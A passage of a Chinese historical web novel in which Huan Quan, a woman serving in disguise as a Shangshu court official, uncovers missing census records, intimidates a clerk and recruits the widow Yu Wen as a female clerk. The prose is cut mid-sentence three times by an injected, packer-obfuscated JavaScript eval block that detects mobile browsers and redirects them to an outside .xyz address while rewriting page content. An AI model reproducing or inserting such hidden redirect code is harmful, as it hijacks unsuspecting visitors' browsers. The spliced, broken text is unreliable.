“兄长以为这样的人,若是入仕,结果如何?” 桓玑沉吟片刻,微微蹙眉,道: “无权无势,刚直有余,柔韧不足,难以长远。” “我观其人,颇有几分正气,若是入仕,或可使朝堂内外风气一正。” 桓玑饮酒手臂一怔,有些惊异,道: “你想要举荐崔伦入仕?” 桓权颔首,道: “当今朝堂,阿谀之人多,正直之人少。崔伦入仕,无论是否长远,未尝不能成全一份美名。若他能在这波诡云谲的局势中活下来,他日或可为你我所用;若是他没这本事,他的死也未尝不能利用。” 桓权说这话时,云淡风轻,她欣赏崔伦的正直,也乐意成全他抑郁不得志欲有所为的心愿,举荐贤良,她自己也可得一份美名。 可这些并不妨碍,她随时打算抛弃崔伦。 “你打算将崔伦举荐给谁?” “以崔伦如今的身份,我就算想举荐给天子,抑或是大将军,似乎都不可能吧。” 桓权低笑着,没有科举制的时代,寒门甚至平民有才能的人想得到重视,一展宏图是很难的。 察举制与九品中正制的结合,早已垄断人所有上升的渠道。 能够被看到,本身就是一种奢望。 桓玑愕然,随即也笑出声来,两人心照不宣,各自饮人一回酒,桓玑道: “你这小狐狸啊!” 桓权笑而不语。 扶持一介寒门白衣,表面来看,确实是一件划不来的买卖,但这样的人,往往更为决绝,而崔伦的经历,注定他很难为世家所接受,那么他所能倚靠的人,只能是一手扶持的桓权。 司马瑄似乎动了真心,竟当真每隔三日来一次别院,从最开始只是单纯听琵琶曲,到最后与江芷论起真心。 四五次后,江芷似乎也被司马瑄打动,主动找到桓权,说自己情愿入宫侍奉肃王。 “你当真想好了?” “早晚都得入宫,早一天晚一天又有什么区别。妾拜谢公子这些日子的照顾,公子待妾的情意,妾都知道。” “一入宫门深似海,以后我不能再护着你了,江女郎,还望珍重。” “嗯。” 江芷颔首,朝桓权深深一拜,心底也清楚两人以后就不会再有瓜葛了。 桓权还礼,心中略有些悲怆。 江芷是罪臣之女,尽管有桓权的庇护,身份也是做不得司马瑄正妻的,只能为妾室。 来接江芷的车辇是在午后到的,此刻江芷已经梳妆完毕,穿上了红色的宫装襦裙,头戴凤钗。 虽不似出嫁那般正式,却也庄重异常,江芷朝桓权拜别,桓权送上自己的贺礼,是一对玉钏,价值连城。 桓权另为江芷准备了一百二十抬嫁妆,连着山中别院,和东城巷的院子。 就算是桓氏旁支嫁女,也不过如此。 瞧着江芷远去的车辇,桓权不语,毛舒叹道: “这一去生死难料,何苦?” “江芷也是别无选择,这乱世,她若是要救母,只得依靠权势,这天下还有比那宫城中权势更盛的吗?” “只怕君王无心,枉费了一番心思,我瞧着肃王并非良人,草菅人命,不是什么好东西。” “江芷是顶着我桓权义妹的名号嫁入宫廷,肃王不会太过为难她的,更何况有今日肃王与江芷这段日子的情分在,司马瑄必会顾念两分。” “桓权,你是不是早就有此打算?” 毛舒试探性地询问,她总觉得桓权不会这般好心。 “当日那么多人都听到的,是她江芷求我,是她要入宫的,我不过是顺势而为。”却又悠悠长叹一声,“江芷,终究是我欠她的,她既然想进宫,我必要她受宠,君恩流水,若非先让司马瑄爱而不得,她这份宠爱岂能长远。只可惜,自古君恩薄,能将这份宠爱留下多久,就是她的本事了。” 桓权只是淡淡道。 “您确定不是在肃王身边安插的一颗棋子吗?” 毛舒伏在桓权耳边,用只有两人能听到的话,悄声说道。 桓权只是白了毛舒一眼,不答,甩袖离开。 毛舒瞧着桓权的背影,只觉有几分落荒而逃的意味,嘴角微微翘起,露出一抹如我所料的笑意。 桓权性子凉薄,却能为刺杀过她的江芷做到这种地步,毛舒不得不多想。 当日肃王视人命如草芥,若是桓权直接引荐,肃王未必会重视,毕竟在贵族眼中,女人如衣物,更何况是罪臣的女儿,纵使喜爱美色,也不过是多玩几次而已。 不是每个女人都有卫子夫那般好运的。 崔伦一事结束后,桓玑身为宜都侯郎主,难免有治家不严的罪过,桓玑自请上奏请辞廷尉一职,天子念及桓玑往日的功劳,只罚几个月的俸禄了事。 桓权随即也上了一份请罪的折子,天子却嘉其大公无私,欲以其为太子舍人,桓权以才疏学浅,恐难胜任为由推辞。 当时,京都已入深秋,只是江左湿润,远山仍有大片黄叶,只是秋雨绵绵,终日天都阴着,人的情绪也难免抑郁。 尚书台这半月来忙得厉害,各地的上计吏大多是在此时抵达京都,但有机会面见天子者,实在少有。 所谓上计吏,就是代替各地郡守上京汇报一年赋税 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653603|172851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、户口、垦田等相关事宜的官吏,大多是各地方官亲信,若有才能出色者,或可有机会留在京都。 大多数上计吏都是在尚书台汇报工作,尚书台再根据他们的回答,品评各地官员的得失,最终根据官员一年的表现,综合性决定是升是贬。 桓权身为尚书郎,这几日正是忙碌的时候,为了避免麻烦,他接连半月都宿在尚书台。 自桓权成为大将军府书记室后,不少人想走桓权的路子,宜都侯府整日车马盈门,就连她素日居住的别院都门庭若市。 桓权实在是烦心,索性借着公事躲开。 尚书台皆知桓权是大将军看重的人,个个都敬重得很,再加上桓权素日礼仪周全,性子又随和,人缘颇好。 桓权看了一整日的公文,眼睛都有些许酸疼,却还是身心都在上计吏的奏报上,烛火将近也不曾察觉。 忽然眼前一亮,桓权受惊吓抬起头,见一青年正拿着盏崭新油灯放在自己面前,道: “公文繁重,桓郎,可要注意眼睛才是。” 说话的是尚书台尚书侍郎陆宜,比桓权年长,已近而立之年,出身江左陆氏,做尚书郎已有六年。 尚书台掌中枢事务,中有尚书令执掌,又有左右仆射辅佐,下有列曹尚书六人,另有左右丞二人,尚书郎三十六人,书令史、书吏不计其数。 桓权正是吏部尚书曹的尚书郎,正五品,正是世家子弟入仕初的官职,品阶不算低,事务却极为繁杂,多为世家不受宠子弟才会做的。 世家子弟多尚清闲,不愿理会俗物,为官入仕也多不过挂名而已,事情多交给手下书令、书吏去做,而这些书令都是些寒门出身的士子。 桓权却不同,尚书郎一职是他主动求来的,她很清楚,若想有一番作为,就不能不通俗务,她必须熟悉整个朝堂是如何运作的,才能走得长远。 陆宜为比部尚书侍郎,隶属吏部尚书曹,掌稽查核准律法条文,在陆氏排行第七,故人称陆七郎,是家中庶子。 “多谢陆侍郎。” 陆宜与桓权同品阶,尚书郎一职却因入职年限不同而有所差别,尚书郎未及一年,只得称为守尚书郎中,一年后方可称为尚书郎,三年即可为尚书侍郎。 桓权入仕亦不过一年多,故而只可称之为尚书郎,陆宜却称之为尚书侍郎。 但因两人同属于吏部尚书所辖,平日相交颇为亲厚。 “你也别太劳累了,这些事情年年都是一样,差不多的。” “选贤任能,乃是你我之责,我等忝居五品高位,又怎敢不尽心竭力,辜负了天子的信任。” 陆宜哑言,他对很多事情都保持着无所谓的态度,对于权势也没有太多野心,做官这件事对他而言只是无聊生活的调剂品罢了。 出身世家的他本就无须为生计而奔波,而他也不愿像自己兄弟一般,整日沉溺于美色和酒药之中,故而对尚书郎一职颇为用心。 身为庶子,才能平庸,没有家族助力,想要更进一步,无异于痴人说梦。 这些年来,权臣接连掌权,天子失势,于他而言只不过是一场你方唱罢我登场的大戏。 他既不关心今天台上的掌权者是谁,也不关心天子又立谁为太子,只要能在公务外,能够陪陪爱妻幼子,就足够了。 “桓郎,您府中的毛舒女郎请见。” “让她进来吧。” 28. 第二十八章 有教无类 毛舒送来些点心吃食,桓权招呼着陆宜一起吃,陆宜也不客气,捡了块点心丢进嘴里,感叹道: “士衡,你这艳福不浅啊!” 桓权吃着点心,只是摇头浅笑,看向毛舒,毛舒面无表情地收拾着桌案上的公文,分门别类摆放好,陆宜瞧着,觉得很有意思,道: “士衡,你这小侍女识字否?” “《诗经》《论语》都是读过的,舒姊姊,来,给陆侍郎展示一番我们巾帼女儿的风度。” 桓权话一出口就意识到口误,觑了陆宜一眼,陆宜目光落在毛舒身上,满是欣赏和好奇,完全没在意桓权的话,惊奇道: “当真?” 毛舒狠狠瞪了桓权一眼,见桓权一副不着调的模样,似乎真有意让她展示一番,冷着脸背道: “非礼勿视,非礼勿听,非礼勿言,非礼勿动。”颜渊曰:“回虽不敏,请事斯语矣。” 陆宜闻言,指着毛舒,偏过头看向桓权,笑道: “你这小侍女是在拐着弯骂咱们。小丫头,你知道这句话是什么意思吗?” 毛舒的心里白眼都快翻到天上去,这些都是初高中的知识,她怎么可能不知道,却还是陪着桓权演戏,道: “这段话是说,不符合礼仪的,就不要去看、去听、去说、去动。” “说得真好!” 陆宜忍不住鼓掌,哈哈大笑道: “士衡,你这侍女当真厉害,不愧是颍川桓氏,诗礼传家,就连府中丫鬟都沾染了你这江左名士的才气,士衡,莫不是要做郑康成?” “那是她自己好学,于我何干?陆侍郎要夸,也该是舒姊姊才是。” “诶!我可是听说你桓府有一女学,专教府内女奴读书识字,还说你不是要做郑康成?” 桓权附和着笑了,道: “郑康成我是不敢当的,只是不忍她们颠沛流离,却始终盲目痴愚而已。” “士衡仁义,在下愧不敢当。” 陆宜知道自己与桓权不同,桓权心有大志,但他确实是真心感佩桓权的为人,也相信桓权所说的,言出必诺。 “这不是仁义之心,而是恻隐之心,孟子云:‘恻隐之心,人皆有之’,陆侍郎也是一样的。我只是将这些女孩看作和我一样的人罢了,诗词歌赋那么美妙,她们怎么能够不知道呢?” 陆宜摇头,道: “奴婢就是奴婢,和主子到底是不一样的?世家寒门之间尚且云泥之别,更况是奴婢和贵族。桓士衡,你莫要玩笑。” 桓权只是淡淡笑着,并未否认。 毛舒抢白道: “王侯将相,宁有种乎?陆公子未免太瞧不起人了。” 陆宜一愣,对于毛舒的驳斥不以为意,反而笑道: “女郎还读过《太史公书》?” “当然。难不成只允许你们读,就不许我读?书籍是不会区别贵贱的,只有人才会。孔夫子尚且有教无类,你们反因为出身而看不起人,未免有违圣人教诲,还敢自称是士人吗?” 面对毛舒冷嘲热讽,陆宜脸上一阵红一阵白,他没想到桓权的侍女如此伶牙俐齿,较之桓权也不遑多让。 “女郎当真是……” “是什么?我虽不似公子投胎好,却也知礼义廉耻,并不意味着我的人格就不如公子。” “我并没有这个意思。” “那公子是什么意思?无非是公子自以为贵重,可以读书,而我低贱,就不该识字,所以见我会读书才会觉得惊奇。 可这并非因为做奴婢的不如你们贵族聪明,不过是因为我们没有读书的机会罢了,若让我们与你们一同读书,不见得便不如你们。” 陆宜素来是不贯计较的,此刻也因毛舒的话而哑口无言,他从未见过这样牙尖嘴利的丫头,说得头头是道的,半点喘息的机会都不给他。 桓权只在一旁看戏,暗暗在心底偷笑,半点没有参战的打算,眼见着陆宜节节败退,见好就收,这才出来打圆场,道: “毛舒,别闹了、人道是‘穷寇莫追’,你这可是将陆侍郎逼到墙角,还不快赔礼。” “不!不用了!”陆宜连忙摆手,他可算是见识到毛舒厉害了,哪里敢让人赔礼,尴尬咳嗽两声,就打算遮掩过去。 “士衡,你这丫鬟……教得不错。” 落下这句话,陆宜便落荒而逃,看着陆宜仓皇的背影,桓权和毛舒没忍住都笑出了声。 “好好的,你和陆宜贫嘴做什么?他又没得罪你。” “我就是瞧不惯他那自以为是的样子,以为自己读过两本书就了不起。” “你呀!小心有一天祸从口出。” “不会的,就算真有那么一天,公子也会护着我,对吗?” 桓权没有矢口否认,只是颇为无奈戳了一下毛舒的手臂,摇着头坐回竹席上,令毛舒为自己掌灯。 因已入宵禁,桓权也不放心毛舒离开,便让她替自己整理书案上的卷宗,谁知刚静下来不到一炷香的时间,毛舒忽然惊道: “公子,这卷宗数量不对。” 正在书架上取新卷宗的桓权,闻言回头,来到毛舒身侧,翻开内容来看,发现数量的确有些不对劲。 “公子说荆州安成郡共有十二册三十六卷,可这里只有三十四卷,有两卷不知所踪,公子,是不是记错了?” 桓权不语,找出豫州郡上计吏送来的籍册,与卷宗一一对比,毛舒也偏过头来看籍册。 “公子这上面写的是三十四册诶,是您记错了吧。” 桓权冷笑一声,喝道: “来人!” 值守书令立刻入门来,躬身行礼,道: “桓尚书郎。” “今日可有人进过内厅?” “这……” 桓权冷眼看着值守书令,见书令吞吞吐吐,桓权直接拔出摆放在剑架上的长剑,驾在书令脖子上,道: “值守不力,论罪当斩,想好了再说。” 桓权虽然素日待人温和,却并不意味着她好说话,相反,她杀伐果决,极少心慈手软。 值守书令当即被吓得匍匐在地,浑身抖如筛子,道: “是程书令史,程宽他午后来过,说是朱尚书曹让他来取卷宗的,下官也不知道啊!郎君饶命!下官真的不知道!” 桓权作为吏部尚书曹的尚书郎,专司官吏考核升迁一事,在公廨内有着一进一出的房子,其中的内厅是素日存放卷宗的地方,寻常人非令不得入。 “我知道了。” 桓权并未完全相信值守书令,命公廨的公差将人看守起来,又令人去叫程宽过来。 因今日并非程宽值守,程宽放衙后,便早早归家,此刻并不在府衙内。 宵禁时分,尚书台的值守侍卫并不多,此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653604|172851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刻若是去拿人也是不明智的。 桓权只是略一思索,便叫人将今日巡视街道的金吾卫校尉请来,皇城值守的金吾卫大多出身寒门,多依附于世家。 而当今天下,权势最盛之人乃是大将军梁冀,桓权作为大将军亲信,宵禁时分要拿个人是轻而易举的事,甚至不需要她亲自出马。 程宽睡得正熟,忽然被人破门而入,惊醒时,慌里慌张穿衣,而他妻子早吓得尖叫起来,金吾卫目无斜视从床榻之上将程宽拖出,直接扔在马上,带回至尚书台。 程宽被吓得身体软成一团泥,被扔下马的那一刻,整个人都在战栗,直到他发现眼前之人,竟然是桓权。 桓权向金吾卫道谢后,便叫人将程宽拖了进来,教人扔给他一件蔽体的衣物,居高临下,目光冷冽,道: “我且问你,安成郡送来的卷册到底有多少?” 程宽还未从惊慌中回神,几乎是下意识答道:“三十六卷。” 话刚一出口,程宽就回过神来,改口道: “三十四卷。” 桓权冷笑道: “可以,已经迟了一步。我再问你,剩下的那两卷去哪儿了?” 程宽开始装傻,嬉皮笑脸道: “桓尚书郎,您吏部的事,我如何知道?您应该问您自己的书令才对。” “哦?是吗?” 桓权似笑非笑反问。 程宽被桓权盯得心里直发虚,尽管他坚信自己手脚干净,桓权不会有什么证据,但还是疑心桓权知道些什么。 想起那人叮嘱过的话,程宽强打着精神应对,却对上桓权满是戏谑的眼神,那目光仿佛在看一只自作聪明的狗,程宽不由紧张起来。 他想起尚书台内关于桓权的传言,他可是能够放任侄子屠杀未婚妻满门的人,未婚妻尚且如此,更何况是他。 “是……是的。” 说话时,程宽完全不敢去看桓权的眼睛,他害怕一旦对视,自己的心思就会被看透,答完后终于暗松一口气,却听见一声嗤笑。 “呵!” 程宽心又提起来,他小心翼翼抬起头偷偷觑了一眼桓权,正好与桓权的目光对视,那目光宛如三九寒霜,吓得程宽又低下了头。 “程宽,老子有句话叫‘自见者不明’,不知可有听闻?” 程宽摇摇头,寒门与世家最大的区别,不在于官名利禄,而在于数百年积累的文化底蕴,对于上层世族流行的玄学,底层寒门是没有机会接触的。 程宽虽然也读书识字,不过是五经之类的书籍,也不算通读,只熟读其中一两部经典已是难得。 更何况是《老子》这种晦涩难懂的书籍,饶是世家,能通晓其义的也是少有,能精通的便是当世名家了,世家子弟都以能读老庄之学为荣。 谢弼正是因为精通《老子》《南华经》《易》等书籍,年纪轻轻便成为当代读书人心中“偶像”,为江左一流名士。 桓权也因为通晓老庄,声名鹊起,而与谢弼并称。 程宽不知道桓权葫芦里卖的什么药,只得茫然失措。 桓权又是冷笑一声,道: “程宽,你以为矢口否认就能不担责吗?我且问你,今日午后,你为何要进内厅?” “是朱尚书曹让我去的。” “是吗?那也是朱尚书曹让你篡改卷宗数量的吗?这上面的字迹可是你的?” 29. 第二十九章 女书令 “不!不是的!” 程宽立即矢口否认。 “那就是你自己的主意?” “我……我……我没有。” 桓权一步步逼近程宽,立在程宽面前,玄色官袍随着他的走动而摇曳,静默中,跪着低头的程宽只能见到越来越近的裙裾和一双云头履。 也不知过了多久,程宽感觉自己已被冷汗打湿的寝衣变得凉意袭人,那双云头履还停在距离自己三步远的地方,他不禁打了一个冷战。 “夜深露重,程书令可还受得住?” 桓权的语气听不出太多情绪,落在程宽耳中却如高悬的闸刀,他猜不透桓权的心思,害怕多说一个字就会被抓住把柄,只是匍匐在地战栗不已。 “你说,要是你因感染风寒而死,您的家人可该怎么办?” 程宽身子一怔,听出桓权语气中的威胁,心里很清楚,杀死他这样一个没有品阶的书令,对于世家子弟来说,并不算什么。 桓权有一千种方法杀人不见血,他想要什么,自有人替他去做。 “你要知道,桓某还能在这里跟你玩老鹰捉小鸡的游戏,是在给你机会,程书令若是不识时务,桓某不介意使用些非常手段。” 威胁变得光明正大,程宽感觉自己开始喘不动气,他知道桓权不是什么好人,有的是手段对付自己。 可自己背后之人更为残忍。 桓权杀人好歹还会找个理由,可自己背后之人杀起人来是完全不讲道理的,毫无人性。 在心底对比后,程宽最终还是决定冒险一试,赌一把,桓权不会杀他。 世家子弟大多残忍,却也要脸。他们太高傲了,高傲到不屑于与他们这些寒门计较,寒门的生死于世家而言不过是蝼蚁。 蝼蚁的生死,又有谁会在乎? “不说吗?没关系。你说今日你走出尚书台,事情却泄露了,背后之人会怀疑谁?” 桓权是个聪明人,见到程宽吞吞吐吐的那一刻,她就隐约猜到幕后之人的身份,缺少卷宗的内容,她早已知晓。 谁在其中获利?谁又如此令程宽惧怕? 桓权又怎会不知。 程宽闻言瞪大眼睛,眼中满是惊惧,立刻就要扑上去抱住桓权的大腿,却被桓权一脚踢开,只留下程宽绝望而嘶厉的喊叫: “不!不!桓权!你不能这样!我错了!尚书郎!我错了!” 无论他哭得有多么凄惨,围观他的人都无动于衷,桓权嫌吵闹微微蹙眉,立刻便有人去堵住这张如同杀猪般喊叫的嘴。 “拖下去,好生看守,待我明日回朱尚书曹后,再做计较。” 桓权转身进了内厅,毛舒跟上去,她刚刚瞧这出戏,尽管很是精彩,心里却还是惦记丢失的卷宗。 “我们就这么算了吗?” “不然呢?” “很明显,程宽压根没这胆子,他背后必然有人指使,难道不该将背后之人揪出来吗?还有,丢失的卷宗不找回来吗?” “他背后之人我已然知晓,至于卷宗,那东西怎么可能还在?” “啊?可这……” 毛舒说不清楚心底是一种怎样的感觉,她就是觉得这件事不该这样不尴不尬结束了,让人别扭。 桓权看出毛舒心底不痛快,将程宽刚刚的证词收起来,笑道: “你有兴趣做书令吗?” “啊?” 桓权的思维变化太快,毛舒一时没反应过来,桓权耐心解释着, “我虽不欲与程宽计较,他却不能再留在尚书台了,他这一走,必然空出一个书令史的位子,不如你来。 这些年,我瞧你颇识得些字,在府中你代我处理事务,做的很好,尚书台的事务并不复杂,你又心细严谨,是最合适不过。” 毛舒心头一震,一片茫然,她从未想过做官,前世可以考公时,尚且不愿,今时危机四伏,又怎么会愿意。 “桓权,这事儿我不能答应你。” “为什么?难道你不想有一番事业吗?” 毛舒摇摇头,苦笑道: “入仕于你桓权而言是一展雄才的手段,于我却是煎熬。这些年,我陪着你,也算是瞧尽世态炎凉,尔虞我诈,不是我所求,我也没这算计人心的本事。 我所愿,唯一生康乐而已。” “跟着我,可不会康乐。” 桓权笑着,目光戏谑,毛舒却一本正经,道: “这不一样。桓权,你敢为天下先,我却不能。” 桓权长叹一声,不再强求,她心底隐约明白毛舒的恐惧。 她是自北地逃难至建康的,于她而言,功名富贵并没有太大吸引力,而她女子身份,入仕必然艰难,舞姬出身,更添上几分难度。 她并非没有凌云之志,只是前路艰难。 更因自己权势尚小,不足以让毛舒可以无忧入仕。 见桓权面露失望,毛舒心底也不由愧疚,忽然毛舒抬起头看向桓权,眼中满是怀疑,道: “公子又在骗我!” “此言何意?” “公子明知书令史一职非官宦子弟不可为,还诓骗我。” 桓权低声一声,瞧着毛舒,眉眼俱柔,仿佛碎金浮动在江面上,晃荡摇动,柔情绰态。 “你倒是聪慧,书令史若真要女子,非世家女不可为,而当今之世,世家女子怎愿为这台府小吏?” “世家女父兄皆为朝中重臣,所嫁夫婿也必是清流出身,夫妇一体,又怎会自降身价?若是寒门女入仕,必遭府台众人反对,人言凿凿,必不能长久。” “毛舒所言甚是,此正是我所忧虑的,纵有此心,也无人可用。” “若是如此,我有一人,或许可行。” 毛舒脑海中浮现一人,眨眨眼睛,神秘一笑,尽显女儿娇态。 “谁?” “公子可还记得已故钟侍中的妻子,庾夫人。” “自然。” “庾夫人不愿再嫁,立志守贞,只是家中父兄逼得厉害,她近来有修道的心思。此事若是她来,必成。” 桓权闻言在心底盘算着,庾玟此人,她是知道的,近来因为拒婚一事也的确闹得满城风雨,而她又是个有名的才女,若是她愿来做书令史,原是最好的。 “只是不知庾夫人是否愿意。” “这就要看公子的本事了。” 毛舒促狭一笑,眼睛笑眯眯的,犹如秋日晚霞,彤云弥散半面天际,落在心头,激起阵阵涟漪。 桓权在卷宗失踪无法彻底了结时,是不愿引起太多风波的,故而对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653605|172851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上司吏部曹只是道,程宽擅离职守、擅闯内厅、履职不严,吏部曹顾念程宽多年辛劳,只是将其撵出台府。 程宽离了尚书台后不久,就被举荐至中护军梁琛府中,做了行文的书令。 桓权得知消息后,只是一笑而过,不以为意。 她已决心要请庾玟入仕,任尚书台书令史一职,必然要亲自拜访,替朝廷征辟贤才,才能显示出自己的诚意。 庾玟自钟雅丧期满后,就被父母接回庾府居住,父母不愿见她青春守寡,意欲为她另择佳婿。 庾玟却立志守贞,说什么都不愿再嫁,父母逼得急了,甚至绝食抗争,并写下了表达自己志向的守节诗。 诗歌凄婉,读来无不令人落泪,此诗一度在京都世家中流传甚广,众人都称赞庾玟的气节,求娶之人反而愈发多了。 庾玟父母见其态度坚决,也不好相逼,只是不许她再回钟家,只在家中另辟了一处院子,允她修道。 桓权来拜访庾玟时,险些吃了闭门羹。 原来自守节诗流传以来,不少才子都欲登门拜访,虽说不能迎娶佳人,但能得见佳人一面,也是好的。 庾玟初时还愿与这些号称才子的文人相交,后来也不堪其扰,索性闭门谢客,概不见人。 桓权来得不是时候,见僮仆阻拦,桓权当即写下一句,“汉之班昭,岂羞于人乎?”令僮仆传于夫人。 不一会儿,庾玟便亲自出门相迎,两人相互见礼,庾玟将人请入正厅,分主宾而坐,奉茶问好。 “不知士衡公子来访,所为何事?” “不知庾夫人可有意入仕否?” 桓权开门见山,反倒让庾玟一下呆愣原地,面色青白,蛾眉微蹙,犹如秋日海棠含苞未放,忧愁难消,许久,方才回过神来,略带尴尬道: “士衡公子说笑吧。” “庾夫人乃是京都才女,难道不愿尽情施展自己的才华吗?圣人云:‘学而优则仕’,夫人读书时,难道不曾想过建功立业?” 庾玟哑口无言,低垂着眼眸,用喝茶掩饰自己内心情绪的剧烈起伏,握着茶盏的手指泛起白色的骨节,急促的呼吸声泄露她内心真实的想法。 “庾夫人,听闻您不愿再嫁,桓某一直感佩您的气节,世人皆以为您是情意深重,桓某以为不然。 为人妻室,不过是将性命托于他人,一荣俱荣,一损俱损,荣辱皆由旁人,生死皆不由己,未免太过憋屈。 ‘人生寄一世,奄忽若飙尘。’何苦将自己一生尽数托于旁人,生命唯有握在自己手中,方是最有力量的。 桓某并非疑心夫人对于叔彦兄的情意,只是觉得夫人何不用另一种方式令自己此生无悔。” 桓权的话犹如重锤,一击一击落在庾玟心头,她的缄默正是她的答案,眼睛微微颤动,心口犹如决堤的江水,涌出千言万语,到嘴边也只能化作无尽叹息。 “士衡公子,女子入仕,可能吗?” “女子入仕,不可以吗?” “可能”“可以”两种不同的人生期望,庾玟的心在颤抖,却不敢去挑战这个绝望的世界,她在寻求冲破黑暗世道的答案,桓权就是这个答案。 “士衡公子,不是每个人都能如你那般胆大妄为的。 女扮男装,欺君罔上。”